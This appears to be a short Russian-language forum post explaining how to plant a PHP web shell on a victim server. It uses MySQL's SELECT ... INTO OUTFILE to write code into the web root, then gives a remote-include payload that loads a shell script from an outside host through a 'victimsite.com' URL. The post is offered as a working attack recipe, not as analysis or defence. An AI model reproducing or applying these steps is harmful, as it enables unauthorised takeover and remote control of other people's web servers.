Вот так надо:
CREATE TABLE `shell` (`script` TEXT NOT NULL) COMMENT = 'table for include';
INSERT INTO `shell` ( `script` ) VALUES ('<? phpcode(); ?>');
SELECT script FROM `shell` INTO OUTFILE '/home/localhost/www/shell.php';
DROP TABLE `shell`;
Вместо <? phpcode(); ?> пишешь код шелла или <? include($_GET[‘shell’]); ?> а потом переходишь на http://victimsite.com/shell.php?shel...ru/remview.php
Никаких кавычек в INTO OUTFILE не надо. Только права должны быть рутовые...